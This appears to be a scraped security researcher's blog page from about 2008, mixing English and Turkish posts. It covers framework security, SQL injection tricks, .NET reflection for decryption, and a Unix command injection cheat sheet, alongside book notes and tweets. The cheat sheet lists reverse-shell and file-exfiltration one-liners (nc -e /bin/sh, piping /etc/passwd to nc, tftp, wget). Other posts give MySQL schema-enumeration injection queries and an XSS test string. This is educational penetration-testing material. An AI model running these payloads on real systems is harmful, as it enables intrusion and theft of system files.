Süper Makale Why platform matters in web application security?

I wrote this article about 2 years ago in Turkish. Recently Whitehat released a quite nice paper about vulnerability counts per programming language/framework. That report kind of backs up this article however many took and advertised it wrongly as it sounded like “choice of framework has virtually no effect on security”. So I decided to write it in English again.

One of the oldest clichés in web application security is:

"Choice of framework doesn't matter"

I say bullshit!

Good Developers Always Develop Secure Applications

Yes, one can write a secure web application using brainfuck in 1 year and after 250 iterations. She can start by "implementing her own session handling and make it secure". That sounds funny, right? But when I say "All you need to do is implement your own CSRF protection", it doesn't sound funny because that's what everyone is keep doing. However to me it's still wrong, just like a secure session implementation a secure CSRF protection implementation should be one of the responsibilities of the framework not the developer.

Security of the Language, Security of the Framework

There is no perfect framework, vulnerabilities identified in all frameworks just like vulnerabilities identified in all applications. However just like some applications security track of some frameworks are much better. ASP.NET Request Validation Bypass, PHP Zend_Hash_Del_Key_or_index overwrite issues, Struts Validation Bypass are good examples of these vulnerabilities.

PHP is a perfect example of this. PHP itself has so many vulnerabilities (such as Zend_Hash_Del_Key_Or_Index Vulnerability, month of PHP bugs and others) even when the developer codes everything securely it still can be vulnerable. I don't even mention the terrible design issues such as GLOBALS Overwrite problems, magic quotes, providing not one but several different functions to do the very same job.

If you set a directory as protected and if your framework can't protect you because the attacker used a different HTTP Method then that's not the developer's fault, it's framework's fault.

That's why framework matters, even when you build the most solid application when your framework is weak, there is a higher possibility of getting owned.

Can framework handle unicode characters correctly? Do functions unexpectedly effected by null bytes? Does it spill out all the details when you send one character in the cookie?

All of these are problems of the framework. If you are wise enough you should choose a framework with a good track of security.

Framework Specific Issues

You won't see much RFI (Remote File Inclusion) in ASP applications because there is no easy way to introduce such vulnerability in ASP. You can't see code execution problem ( such as eval() ) in ASP.NET applications because there is no easy way to do it however in Classical ASP you have this problem. Heck, in PHP application even preg_replace can evaluate code with /e modifier. And yes that happens in real world application, PHPBB was vulnerable to this.

Framework specific problems matter.

Secure by Default - Design of the Framework

Some part of some frameworks designed in a "secure by default" way. For example it's quite rare to see HTTP Header Injection (CRLF/HTTP Response Splitting) problems in ASP.NET because by default all related .NET functions will not accept new lines. Therefore as a developer you should push your limits to introduce this vulnerability, yet if you are stupid enough you'll succeed. Developer's stupidity is something that a framework can't fix. Sorry about that.

Stupid features of a framework can hurt as well. For example Magic Quotes in PHP. Loads of application burned by that, it's such a mess. It shouldn't have been there in the first place that's why finally they decided to deprecate it.

Inbuilt Security Features

I think everyone knows that rolling your own crypto is idiotic but somehow it's OK for people roll their own CSRF protection, SQL Injection filter, XSS protection library etc. Yet all penetration testers observe that these developers keep failing miserably. That's why projects like ESAPI should be employed by more developers.

When it comes to frameworks some of the questions we need to ask;

  • Does it support parameterized SQL Queries?
  • Does it provide a way to separate data and the HTML and carry out the required encoding based on the output location?
  • Does it provide a secure session implementation?
  • Does it provide a secure authentication mechanism?
  • Does it provide a secure way to execute OS commands? (separating parameters and the executable to avoid injections just like parameterized SQL Queries)
  • Does it provide secure storage options? Path normalization functions?
  • Does it provide a way to avoid email header injections?
  • Is there any function which can protect against new line injections to write safe logs without worrying about new lines?
  • Is there any inbuilt feature to apply whitelisting on inputs?

I can go on but you got the point. Unfortunately there is no framework which does all but some frameworks are clearly better.

Take a look at Secure Web Application Framework Manifesto for many other ideas and see what frameworks should bring to the table in means of security by default and as inbuilt security features.

Also ASP.NET's built-in membership feature is also is the right direction and more frameworks should do the same.

Documentation, Culture, Sample Code etc.

Documentation and culture around a framework also quite important. Take a look at Tomcat JSP examples and IIS 6 ASP examples. All of them have several serious vulnerabilities out of the box. Like it's not enough to write vulnerable applications as samples they even deployed them by default so your environment can be vulnerable by default!

For example many examples in .NET documentation uses parameterized SQL Queries which is very good thing although .NET documentation got so many other flaws and terrible code snippets in many places. Generally most of the vendors are terrible about documentation and providing secure code snippets. Some of these sample codes stripped from security checks as they stripped from error checks to increase clarity in the example. I still not a good enough excuse.

Finally when it comes to the culture there are some factors such as what are the best practices among developers. For example you can see more OS Command Injections in Perl applications than potentially any other framework because that's how Perl guys roll. Pass it to an OS command, parse the output and spill it out to the screen. This is a quite rare practice in many other frameworks*.

Required Time, Effort and Knowledge for a Secure Application

All of these discussed factors affect the required time, effort and required security knowledge to develop a secure application.

If framework provides built-in security for CSRF with one line of code than it decreases the complexity of the application, required development and testing time. Finally developers don't need to be a security expert to implement such a check.

Do you really think a junior developer would know that it's possible to do CSRF against a web service. Believe me they don't. Also they don't know that you can do XSS in CSS, they don't know if content-type is "plain/text" XSS is still possible in IE, they don't know that they need to mark cookies as secure, they don't know you can bypass many *clever* XSS protections by using XSS Tunnel or BeeF, they know jack-shit about security especially when it comes to corner cases.

They don't know and they will never know many of these and I don't expect them to know** , that's why framework should care of this stuff and that's why framework matters.

Framework Matters

Now please don't tell me that framework doesn't matter because it bloody does. However the problem is; there is no perfect framework and there won't be anytime soon although it's getting there. Right now you can still choose a better framework instead of choosing arbitrarily by claiming that all of them are same anyway.

My examples were mostly about PHP, ASP and ASP.NET because those are the frameworks that I'm pretty familiar with. You can think of many other frameworks such as Ruby on Rails, Struts or CppCMS and observe similar benefits or framework specific problems.

* Although I need to note that due to many other configuration requirements that task might not be that easy in some frameworks hence not that popular. For example .NET might require several permissions to properly run an executable from an ASP.NET script.

** OK, they need to know about "Secure Cookies" but funny enough many of them still don't. So why not mark all cookies set over SSL as secure and when their code doesn't work they can fix(!) it, at least this way it'll be secure by default and maybe developer will ask herself "What the hell is a secure cookie? and why would I need it?"

Bu Yazılar Kaçmaz
Why platform matters in web application security?
Ücretsiz Web Güvenliği Tarayıcısı

One Click Ownage

I’ve been keeping this under my desk for ages now. It’s been about 6 months since I came up with a practical exploitation of this idea and even developed an application to automate the scanning and exploitation process.

This attack is all about SQL Injection for lazy minds. One of the classical SQL Injection attacks in SQL Server – SA connections is obviously trying to get reverse shell from the target database. There are some ways to do it, like sending hundreds of requests or using PERL scripts, executables etc. I didn’t like the current approach and decided to find a better way to deal with it.

I think I came up with the holy grail of the this attack. One request to get a reverse shell, can’t get any better than that. You can copy paste it, you can stick it into an src attribute of an img tag to carry out a CSRF attack etc.

GROUP_CONCAT MySQL SQL Injection

Apparently GROUP_CONCAT() is already known by many people, except me! I've just found it. It allows to get multiple rows as a string. This makes it a perfect candidate for one-row union SQL Injections. There is one catch though, by default it returns only 1024 characters (global option, can't be set via an SQL Injection) which is not enough for one query sql-dump sorts of tricks.

However this simple query can be useful for enumerating tables and columns together in fewer requests:

  • SELECT CONCAT(table_name,'>',GROUP_CONCAT(column_name)) FROM information_schema.columns WHERE table_schema=database() GROUP BY table_name LIMIT 1,1
  • SELECT CONCAT(table_name,'>',GROUP_CONCAT(column_name)) FROM information_schema.columns WHERE table_schema=database() GROUP BY table_name LIMIT 2,1
  • SELECT CONCAT(table_name,'>',GROUP_CONCAT(column_name)) FROM information_schema.columns WHERE table_schema=database() GROUP BY table_name LIMIT 3,1
  • SELECT CONCAT(table_name,'>',GROUP_CONCAT(column_name)) FROM information_schema.columns WHERE table_schema=database() GROUP BY table_name LIMIT n,1

 

Output will be look like:

  • 'db>Host,Db,User,Select_priv,Insert_priv,Update_priv,Delete_priv,Create_priv,Drop_priv,Grant_priv'
  • 'help_category>help_category_id,name,parent_category_id,url'
  • 'help_keyword>help_keyword_id,name'

Damn! I should update SQL Injection Cheat Sheet and SQL Injection Wiki , lots to catch up...

.NET Reflection, RCE and Hard Coded Keys

Sometimes you need to extract some data out of another application but the data stored as encrypted. As you might guess generally keys are just hardcoded, but mostly algorithm is custom. Since there is no such a thing as "client-side security", there are so many ways to do decrypt this data.

You can go and reverse the code which is decompiling the application and copy, paste then tweak the code to compile. But this can be a real pain when dependencies and obfuscated code comes into the play.  Since new obfuscators taking the advantage of IL tricks, generally it's not easy to use decompiler generated high-level code without heavy modification.

Unless you are a masochist I'd suggest you to use the application's code to do the job.

  1. Find the decryption point and the DLL,
  2. Invoke the related decryption function using reflection.

We use reflection instead of simply referencing the dll because this way it's possible to call any method within any scope such as private and friend which wouldn't be possible otherwise. Also it allows us to easily bypass Strong Name restrictions without touching to the original binary.

Here is the code:

   1: Function Decrypt(ByVal data As String) As String
   2:     'Load Assembly
   3:     Dim CustomAssembly As Assembly = Assembly.Load("DLL.To.Load")
   4:     Dim CustomType As Type = CustomAssembly.GetType("DLL.To.Load.SecretClass", True, False)
   5:  
   6:     Dim CopyObj As Object = CustomAssembly.CreateInstance(CustomType.FullName)
   7:     Dim Res As Object = CustomType.InvokeMember("Decrypt", BindingFlags.InvokeMethod, Nothing, CopyObj, New Object() {data})
   8:  
   9:     Return Res.ToString
  10: End Function

Süper Makale White Papers

Some of my published white papers in chronological order.

  • Hiding your identity in the Internet (Turkish) - 26.04.2003
  • Small XSS Paper - 28.07.2004
    Potentially the first paper ever talks about detecting and exploiting XSS vulnerabilities in HTML attributes and Javascript blocks.
  • A Practical Guide to PGP (Turkish) - 09.01.2005
    Practical introduction to PGP, explains basic of PGP with some real world examples.
  • Attacking and Defending Wireless Networks (Turkish) - 25.12.2005
    A Highly detailed document about attacking and defending wireless network.
  • SQL Injection Cheat Sheet - 15.03.2007
    The most comprehensive SQL Injection Cheat Sheet, includes lots of detailed information about SQL injection methods and covers several different databases. Translated into Japanese, Published in "Hacker Japan" Issue 05.2007.
  • XSS Tunnelling - 10.07.2007
    Cutting edge research about exploitation of XSS vulnerabilities. Explains the implementation and idea of tunnelling HTTP traffic through XSS channels to bypass several restrictions and gain a total control over the victim's session.
  • Deep Blind SQL Injection - 26.10.2007
    A new way to exploit Blind SQL Injections which allows attacker to get 16+ different answers at a time from Blind SQL Injections instead of 2 (true or false). Also it's implemented in BSQL Hacker.
  • SQL Wildcard Attacks - 12.05.2008
    A new attack vector against web applications and databases. Affects more than 70% of web applications with an MS SQL Server database. This attack is now documented in the OWASP Testing Guide v3 as well.
  • SSL Implementation Security FAQ - 14.05.2008
    Quite comprehensive FAQ for common SSL implementation security pitfalls.
  • XSS Shell and XSS Tunnel Video

    Infinity Exists released a new episode which shows how to setup and use XSS Shell and XSS Tunnel.  It explains how to download, setup and attack with XSS Shell / Tunnel. If you want to learn how to use it, having problems or just want to take a look at it, watch episode 21 - XSS Tunnel.

    I've released a simple 2 minutes video ages ago, you can download it as well. If you are interested in technical details read XSS Tunnelling whitepaper.

    Süper Makale Unix Command Injection Cheat Sheet

    Short, yet quite useful command injection cheat sheet.

    Executing Commands

    • Seperating Commands:
      blah;blah2
    • PIPE:
      blah | blah2
    • PIPEZ:
      blah ^ blah2
    • AND:
      blah && blah2
    • OR:
      FAIL || X
    • OR:
      blah%0Dblah2%0Dblah3
    • Backtick:
      `blah`
    • Background:
      `blah & blah2`

    Getting Files / Data

    • FTP:
      Make a new text, and echo and then redirect to FTP
    • NC:
      nc -e /bin/sh
    • NC:
      echo /etc/passwd  | nc host port
    • TFTP:
      echo put /etc/passwd | tftp host
    • WGET:
      wget --post-file /etc/passwd

    Credits : notsosecure and pentestmonkey

    Süper Makale Application Security and Redefining User Input

    One of the cardinal rules of the web application security is "Do not trust the user input" but it's loosely defined. We should've said "Do not trust any input!"

    Which input is coming from the user?

    Web applications are more complicated than they were. Now we have got office applications and shiny Web 2.0 stuff all over the web. Complexity comes with a price tag and lots of hidden layers.


    A perfect example of a hidden layer is the second order injections where the injection goes into a back-end storage, then directly pulled out from there and used in an SQL Query, printing out to the HTML without filtering or something similar. In this level developers believe that data was secure, because it was coming from a back-end, which was supposed to be secure. Guess what, it's not!

    The fact is you can't keep track of your inputs, your input can come from an API that you exposed to your users, an old form which is adding records your db etc.

    First defence would be centralising the input as much as possible, duplicated code is a big threat for security, but this is not enough. You need think "defence in depth" and you should not trust any input. It can be coming from the functions of your programming language, your database internal variables or from your web server, Do not trust any input!

    Recently a CSRF vulnerability spotted in twitter. Twitter has two post screens, one of them for mobile and one of them for normal web browsers. Even though they put a CSRF protection to the normal page, they forgot to put this to the mobile interface. A perfect example of how code duplication can hurt your application's security.

    About couple of months ago I was working on an application and observed that an ASPX file actually doing an HTTP request to itself and then it was printing the response in the page. First question was “How the script would know where is it running from? Which host? Which exact URL?

    The answer was quite obvious: Request.Url, Follow up question was “How ASP.NET would figure out what's in the Request.Url?”. The answer was: "Host Header" of the request. Which means if the target application configured to response all requests for that IP address then you can change the host header to anything you want to accomplish following actions:

    • Using this system as a proxy to browse internal network by sending HTTP requests around,
    • Abusing trust relationships in the internal network and in the very same computer, A perfect example of this accessing ASP.NET error messages and trace.axd file which are only available to local IP address by default.

    It's quite common to see rookie developers blindly trusts HTTP Headers such as HTTP_REFERRER or Cookies, Thus you can carry out SQL Injection attacks, XSS attacks via these channels easily. Experienced developers or more security minded developers are not so naive and they know one can easily modify these. Still it's quite common to rely on system functions or server functions to be secure, because they are coming somewhere you trust, right?

    As shown in the previous example even the functions such as Request.Uri might be controlled by the attacker. Therefore you should not trust anything coming from anywhere...

    Weird My.Settings behaviour in Web Site Projects

    According to MSDN "My.Settings" doesn't exist in Web Site projects but if you add a public shared function to one of your web pages and use My.Settings, it works perfectly fine. However if you try to use it under your App_Code it won't. I have no clue why the limitation exists in the first place anyway.

    Online Conversion Tool

    This is a really simple Javascript based conversion tool. 

    It can help you for :

    • SQL Injection
      • MS SQL Char
        "foo" will be "SELECT CHAR(102)+CHAR(111)+CHAR(111)"
      • MySQL CONCAT
        "foo" > "SELECT CONCAT(CHAR(102),CHAR(111),CHAR(111))"
      • MySQL Hex
        "foo" > "SELECT 0x666f6f"
    • XSS
      • String.fromCharCode()
        "foo" > "String.fromCharCode(102,111,111)"
    • Hashing
      • MD4
      • MD5
      • SHA-1
      • SHA256
    • Encoding
      • Base64
      • URL
      • JS Escape
      • HTML UTF-8
    • Decoding
      • Base64
      • URL
      • JS Escape

    Also optionally output can be URL encoded.

    NetBouncer ASP.NET Input Validation Library

    NetBouncer .NET Input/Output Validation Library's first version is out now. It has got some basic documentation as well as compiled release. It's uses New BSD Licence allows you to integrate into your commercial or non-commercial applications.

    It's simple yet effective, all input validation is centralised from one place, allows you to integrate your custom plug-ins and custom rules. New Rules can be written in XML or in your native .NET language. Designed ASP.NET in mind can be used in any .NET application. Grab the source-code, check it out. If you fancy, contribute.

    Feel free to report issues or drop me an e-mail. Now spread the word and secure your application.

    Getting Real - Kitap Notları

    Dediğim gibi bugün Getting Real' ı bitirdim (son bir kaç bölüm essay kaldı). Son zamanlarda bir çok konuda kısa notlar tutuyorum, bu notlar da Gettin Real' dan:

    Less Features

    • Only explicitly required features for that moment, If it’s not reuqired right now by you do not do it now.
    • Less interface.

    Focus on something, solve it

    • Do not try to beat competitors use a new way, put something new into the market,
    • Know your enemy, Choose and focus a point.

    Money

    • Use less money, small team, less features,
    • First version of the app should be able to developed by only 3 people.

    Embrace Constraints

    • Use Deadlines,
    • Lower the scope to meet deadlines.

    Business

    • Do not try to act big, show personality, show that you are small and take advantage of it.

    Priorities

    • What’s your big idea?
    • Work small, ignore details in the beginning, you can work on them later. Try to have fun with what you do.
    • Don’t fix a problem before it’s a problem.
    • Find your audience and market, focus on their expectations,
    • Take a side
      1. Application should take a side strictly, this might piss off some clients but who gives a shit. They can choose another solution.

    Features

    1. make application as small as possible, Feature wise, Code wise etc.
    2. Instead of having lots of features which don’t work, have a few which work great,
    3. Build features and cut it half, that's what you need,
    4. Focus on only essential features and rest will come after essentials are good,
    5. Remove features which “Just doesn’t matter”. If a feature not changing outcome remove / don’t develop it.
    6. Do not try to please everyone, focus on the essentials and the target market.
    7. Do not accept features by default, A feature should be accepted after a long battle.
    8. Solve the root problem, and let people to solve the rest of the problem in your framework.

    Add a New Feature Routine

    1. Say no.
    2. Force the feature to prove its value.
    3. If “no” again, end here. If “yes,” continue…
    4. Sketch the screen(s)/ui.
    5. Design the screen(s)/ui.
    6. Code it.

    Process

    1. Do it instead of spending ages on planning it, do it as a early, shortcut dirty version if it’s required.
    2. Build, Revise, Repeat…
    3. Avoid Prefences, Put your professional expertise, make a default setting stick with it. Just ignore little details focus on the essentials.
    4. Do the decision, make your call, get it done, unless you got it working your idea is pointless.
    5. It doesn’t matter it’s beta or not, get it released. It may not be perfect but release it, then you might fix it.

    Unity

    • Have alone working time, “Set up a rule at work: Make half the day alone time. From 10am-2pm, no one can talk to one another (except during lunch). Or make the first or the last half of the day the alone time period. Just make sure this period is contiguous in order to avoid productivity-killing interruptions.”
    • Release often to keep yourself motivated, Add new small features and have small releases to keep yourself motivated.

    Design

    • Prioritise the design, most important element to less important one.
    • Use a simple and good language in the UI.

    Coding

    • Code less, and code only required functionality,
    • Do trade-offs between more feature and less code,
    • Think 10 times before add a new feature, think 100 times before add a BIG feature.
    • If you hacked the to code to get it work, go back and fix it before it bites you later.

    Words

    • Don’t document stuff, build a mockup instead.
    • To explain and document features use a real-worl alike story. Don’t go into technical details do it in a human way.
    • Personify the application, decide a personality for your application and use it consistently in every single section. Design, interface, messages, features.

    Pricing

    • Give something for free. Lite version, sample etc.
    • Make sign-up and cancellation easy, allow your users to export their data whenever day want in a acceptable format such as XML.
    • Don’t do stupid trick for contract, make it obvious and easy such as pay monthly and cancel whenever you want style.

    Promotion

    • How to launch a new product 
    • Promo Website
    • Write education materials, books, videos, tips and tricks about the product,
    • Add small features and promote them in specific groups,
    • Try to sell more to your current users, (such as upgrade plans)
    • Choose a simple, short and catchy name instead of something long and too descriptive,

    Support

    • Do not use external support team, let developer to do the support
    • Use inline help (such as a note for a known problem) in the application and Keep stuff simple so anyone can use it without training,
    • Have a quick turnaround time in support requests (no more than an hour),
    • Customer is not always right,
    • Use forums to help customers to themselves,
    • Publicise Bad News

    Post Launch

    • Keep a development blog,
    • Keep releasing often, show people that you are alive,
    • Don’t do public beta, if it’s not good enough to be public don’t make it public,
    • Prioritize your bugs,
    • Keep watching your enemies.

    Güncel Notlar

    • Son bir haftadır soho' da çalışıyorum, kaynak kod incelemesi, bu da günümün ekstradan 2,5 saatinin kaybolmasına neden oluyor ve döndüğümde gayet yorgun oluyorum. Bu da diğer tüm işler ile ilgilenmemi engelliyor. Bir hafta daha oradayım
    • Getting Real' ı daha önceden okumaya başlamıştım ama bir türlü adam gibi oturup bitirme fırsatım olmamıştı, bugün onu bitirdim. Hakkında konuşmak istediğim çok şey var ama genel olarak tam bir başyapıt.
    • PSP Killzone, Grid ve Puzzle Quest oynuyorum,
    • Bugün bir çin restoranında biraz çin yemeği denedim, bu adamların mutfakları ingilizlerden bile beter, aman bir daha Allah korusun.
    • Çok film izledim, ama şu iki tanesi süperdi : The Island ve Atonement
    • Lost' un son bölümünü izledim, nedense eskisi kadar sarmamaya başladı.
    • Bir süre önce Prison Break izlemeye başladım, ilk sezonun sonlarındayım.
    • Televizyon izlemeyi tamamen bıraktım sadece dizi ve film izlemeye başladım.
    • NetBouncer için yeni planlar yaptım, inşallah iki hafta sonra ilk versiyonu yayınlıyorum. Şimdiden denemek isteyen SVN' den son versiyonu indirebilir.

    Bunlarda son haftanın genel notları:

    04 June 2008

    twitter 5:55 PM: fmavituna: onsite for 2 weeks, can't even read e-mails, see you 2 weeks later twitter!

    Google Reader Testing a personal firewall solution, a couple of resources

    02 June 2008

    twitter 12:06 PM: fmavituna: @YuSuPh Ilginc bir ozellikmis, textarea da calisti benim icin ama eger tablo varsa yazi yerine direk tabloyu seciyor.
    twitter 12:05 PM: fmavituna: checking out PHPSecInfo slides, quite nice idea : http://tinyurl.com/4oyw8v

    Bookmarks The NTLM Authentication Protocol
    Bookmarks The simExchange - The Video Game Prediction Market

    Google Reader New Fallout 3 Pictures
    Google Reader Slides from php|tek 2008
    Google Reader Scurvy Again: Slides & Demo

    01 June 2008

    twitter 12:05 AM: fmavituna: Trial of Assault Heroes expired, looking for some other stupid game to kill time
    twitter 12:05 AM: fmavituna: @YuSuPh ben de hemen kutlayayim :) Nice senelere...

    Bookmarks Common Exception Types
    Bookmarks Shmoocon 2008 Videos

    Google Reader Online Poker Software hacked by insiders at UltimateBet.com
    Google Reader Holy crap, Shmoocon 2008 videos

    31 May 2008

    twitter 5:33 PM: fmavituna: librarything' in oyunlar icin olan versiyonu var mi? Uzun suredir ariyorum bulamadim boyle bir site.
    twitter 4:52 PM: fmavituna: @YuSuPh bende FF eskisi gibi baska bir sitenin ikonunu karistirmis saniyordum, hakikaten tirtmis ikon.
    twitter 4:51 PM: fmavituna: I've started play GRID today, such a brilliant game. I think they tuned the controls, it's a bit easier than demo.

    30 May 2008

    twitter 2:29 PM: fmavituna: this week was so boring and sleepy, let's goooo homeeeeee
    twitter 11:06 AM: fmavituna: this market getting hot - http://tinyurl.com/55thft
    twitter 9:05 AM: fmavituna: this is a potential break up song lalala llalla, bu sarki kafamda dun geceden beri, cok fazla pop etkisinde kaliyorum bu aralar.

    Bookmarks HOW TO FIND MEMORY LEAKS WITH CLRPROFILER | Dev102.com
    Bookmarks Download details: CLR Profiler for the .NET Framework 2.0
    Bookmarks Deblector - Release: Deblector 1.0
    Bookmarks Denis Bauer's Reflector.FileDisassembler

    Google Reader Strong Opinions, Weakly Held
    Google Reader Microsoft Kernel kaynak kodları açıyor

    twitter 10:30 PM: fmavituna: Looking beta testers for Centralised I/O Validation Library for ASP.NET - http://code.google.com/p/netbouncer/ it's in Alpha stage.
    twitter 9:53 PM: fmavituna: changed ads in the blog, installing Pex, replying e-mails and bloody bored. lots of things to do, not enough time...
    twitter 1:44 PM: fmavituna: why you shouldn't use xbox as a server http://tinyurl.com/2oyah9
    twitter 12:31 PM: fmavituna: @aft bu gmail in basina o kadar dert olmus ki ozel uyari gosteriyorlar firebug ile gmaila girince.
    twitter 12:29 PM: fmavituna: sanirim bu tum gurbetcilerin basina geliyor, asiri sinirlenince Turkce kufretmeye basliyorum, ingilizce kesmez oluyor.

    Bookmarks pickaproxy.com - geospoofing your cyber presence
    Bookmarks More built-in Windows commands for system analysis

    Google Reader İlham kaynakları
    Google Reader Fallout 3: The Al Qaeda Connection!
    Google Reader pickaproxy.com - geospoofing your cyber presence
    Google Reader massive digital ceiling clock
    Google Reader Windows 7 ekran görüntüleri dışarı sızdı

    28.05 - Projelere Devam

    Etiketler daily, gunluk, english, news, owasp, 29.05.2008

    Bugün değişik pek bir şey olmadı, hayat devam ediyor...

    28 May 2008

    twitter 5:16 PM: fmavituna: @aft hayirdir? Performans sorunlari mi?
    twitter 5:15 PM: fmavituna: twitter fu*@_ed up again
    twitter 4:28 PM: fmavituna: @YuSuPh evet ona dedim ama sanirim twitter bugun sapitiyor hangi reply hangisine gitmis diye
    twitter 3:50 PM: fmavituna: Also it's quite funny reported 4 years ago but no one gave a shit - http://tinyurl.com/6jc2c5
    twitter 3:49 PM: fmavituna: This issue was known in Apache, but it's cool someone researched it thoroughly, affects IIS and some others - http://tinyurl.com/6zwa3j
    twitter 3:41 PM: fmavituna: @YuSuPh Turkce 101 :) Bunu Hakki Ocal hocama sormak lazim, o yazilarinda cok kizardi bunlari yanlis kullananlara.
    twitter 3:30 PM: fmavituna: @McGrewSecurity :) distributed XSS testing, Unless twitter API encodes it before sends out at least 10 tools should be vulnerable to this.
    twitter 1:56 PM: fmavituna: OK, test edelim:<script>alert(/Is your twitter tool XSSed? If you can see thix fix it!/)</script> bakalim bu kimde patlarsa ...
    twitter 1:26 PM: fmavituna: @YuSuPh OK, senin sitedeki kodu gorunce onu aktif olarak uygulamaya aldin sandim,
    twitter 12:37 PM: fmavituna: @YuSuPh Bu arada RSS ciktilarini HTML_Entities gibi bir seyden geciriyormusun? Title ve icerik icin ozellikle, Guvenlik acisindan onemli.
    twitter 12:35 PM: fmavituna: @YuSuPh Dogru amac icin isini gorecektir, benim kafamda daha komplike bir durum vardi :) Neyse bu konuda zaten yakinda bir seyler yazacagim
    twitter 12:34 PM: fmavituna: reading presentation of OWASP EU 08

    Google Shared Notes İnternet Teknolojileri Derneği Başkanı: ''internet yasası ifade özgürlüğüyle ...

    İnternet Teknolojileri Derneği Başkanı: ''internet yasası ifade özgürlüğüyle bağdaşmıyor''
    Bilkent Üniversitesi Endüstri Mühendisliği Öğretim görevlisi ve İnternet Teknolojileri Derneği Başkanı Doç. Dr. Mustafa Akgül, Meclis’te görüşülen internet yasası tasarısının ifade özgürlüğüyle bağdaşmayacağını söyledi. Akgül, devletin vatandaşlar adına zararlı içeriği belirlemesinin internetin gelişimine zarar vereceğini savundu...
    FM Yorum : Biri ifade ozgurlugu mu dedi? Saka gibi. bizim anlayamadigimiz sorunun internetten buyuk oldugu, ama biz internetciler olarak sadece kendi kicimizi kollamaya calisiyoruz. o da bir sey tabii, hakkini yememek lazim.

    twitter 8:56 AM: fmavituna: @YuSuPh CSS sorunu cozmeyecektir, cunku kod yazamiyorsun ya da yalandan expression JS si yazacaksin, ama XSLT server-side da calisir
    twitter 8:25 AM: fmavituna: update your Screwturns wikis, a nasty permanent XSS fixe - http://www.screwturn.eu/Download.ashx
    twitter 8:23 AM: fmavituna: @YuSuPh Aslinda bence XSTL boku bu kadar salak ve karmasik olmasaydi bu tip isler cok daha rahat ve global olarak cozulebilirlerdi.
    twitter 8:23 AM: fmavituna: @YuSuPh template sisteminin yazman gerekmiyor bence RSS' i reader i ve template sistemini ayri ayri alip adam gibi birlestirmek te yetebilir

    Bookmarks Turk.internet.com | Skandal : Deutch Telekom Gazetecileri Dinlerken Yakalandı |
    Bookmarks LazyParser.NET - Home
    Bookmarks Envy Code R preview #7 (scalable coding font) » DamienG

    Google Reader Who should perform security testing
    Google Reader E-trade, Schwab, Google fall victim to “Office Space/Superman 3″ attack
    Google Reader Notes from IEEE Web 2.0 Security and Privacy Workshop (W2SP2008)
    Google Reader Unpatched Flash Vulnerability Widely Exploited in the Wild
    Google Reader Yeni internet kanunu ve getirdikleri hatta götürecekleri…
    Google Reader Notes from IEEE Web 2.0 Security and Privacy Workshop (W2SP2008)

    26-27.05.08 - Trials 2 ve Penny Arcade Adventures

    Ne Yapıyorum

    Penny Arcade Adventures' i bitirdim, NetBouncer projesi üzerinde çalışmaya devam ediyorum, en sonunda çalışır hale geldi. İşler gayet yoğun, boş kalan vakitte de Trials 2' i oynadım.

    27 May 2008

    twitter 8:12 PM: fmavituna: justr found another good game : http://www.redlynxtrials.com/
    twitter 5:53 PM: fmavituna: watching prison break
    twitter 2:55 PM: fmavituna: Seasonal affective disorder - internet baglantimi test ederken asd aratmaktan bu terim ile bolca karsilasir oldum
    twitter 2:33 PM: fmavituna: The Escapist - http://www.escapistmagazine.com Best gaming culture magazine. I just love reading it.
    twitter 1:15 PM: fmavituna: interesting project, google-caja - http://code.google.com/p/google-caja/

    Google Shared Notes One solution is to stoke fear. Fear is a primal emotion, far older than our...

    One solution is to stoke fear. Fear is a primal emotion, far older than our ability to calculate trade-offs. And when people are truly scared, they're willing to do almost anything to make that feeling go away; lots of other psychological research supports that. Any burglar alarm salesman will tell you that people buy only after they've been robbed, or after one of their neighbors has been robbed. And the fears stoked by 9/11, and the politics surrounding 9/11, have fueled an entire industry devoted to counterterrorism. When emotion takes over like that, people are much less likely to think rationally.

    Though effective, fear mongering is not very ethical. The better solution is not to sell security directly, but to include it as part of a more general product or service. Your car comes with safety and security features built in; they're not sold separately. Same with your house. And it should be the same with computers and networks. Vendors need to build security into the products and services that customers actually want. CIOs should include security as an integral part of everything they budget for. Security shouldn't be a separate policy for employees to follow but part of overall IT policy.

    Google Shared Notes Security sellers know this, even if they don't understand why, and are contin...

    Security sellers know this, even if they don't understand why, and are continually trying to frame their products in positive results. That's why you see slogans with the basic message, "We take care of security so you can focus on your business," or carefully crafted ROI models that demonstrate how profitable a security purchase can be. But these never seem to work. Security is fundamentally a negative sell.

    Google Shared Notes But Kahneman's and Tversky's experiments contradicted Utility Theory. When fa...

    But Kahneman's and Tversky's experiments contradicted Utility Theory. When faced with a gain, about 85 percent of people chose the sure smaller gain over the risky larger gain. But when faced with a loss, about 70 percent chose the risky larger loss over the sure smaller loss.
    ...
    Lions, for example, chase young or wounded wildebeests because the investment needed to kill them is lower. Mature and healthy prey would probably be more nutritious, but there's a risk of missing lunch entirely if it gets away.

    twitter 9:58 AM: fmavituna: reading - http://tinyurl.com/6kyz56 , Schneier is so much into psychology-security relation nowadays.
    twitter 9:32 AM: fmavituna: trying to finish his todo list in the office

    Google Reader How to Sell Security

    26 May 2008

    twitter 11:32 PM: fmavituna: playing audio-surf, such a brilliant idea ! - http://www.audio-surf.com/
    twitter 4:30 PM: fmavituna: browsing gametap
    twitter 3:24 PM: fmavituna: what a day!, it's pouring outside, MGS4 has not out yet, and Iron Man tickets sold out...
    twitter 12:38 PM: fmavituna: going to Harrow to watch Iron Man and buy MSG4, Bank Holiday FTW!
    twitter 12:32 PM: fmavituna: @YuSuPh :D yok ya bu aralar elimde bir suru proje var ama belki onlar bittikten sonra, http://code.google.com/p/netbouncer/ u bitireyim de
    twitter 11:44 AM: fmavituna: @YuSuPh Guzelmis aslinda ama WP, Bence yapilmasi gereken adam gibi template sistemi destekleyen bir RSS reader yazip siteye entegere etmek
    twitter 11:41 AM: fmavituna: finished penny arcade adventures, that was short!

    22-25.05.2005 - Age of Conan, Input Validation

    Ne Yapıyorum

    Penny Arcade Adventures ve Age of Conan oynuyorum. Yeni bir .NET projesi olan NetBouncer üzerinde çalışıyorum. Bu bir güvenlik kütüphanesi, inşallah bir kaç haftaya kadar yayınlayanabilecek hale gelecek. Web Application Hackers Handbook' u okuyorum. %75' ine falan geldim.

    25 May 2008

    twitter 8:21 PM: fmavituna: penny arcade's game - not brilliant but it's ok - http://www.hotheadgames.com/pa.php
    twitter 7:45 PM: fmavituna: myspace for developers - www.ohloh.net - brilliant though

    Bookmarks owaspantisamy - Google Code
    Bookmarks Modifying HTTPContext variables ASP.NET Forums

    24 May 2008

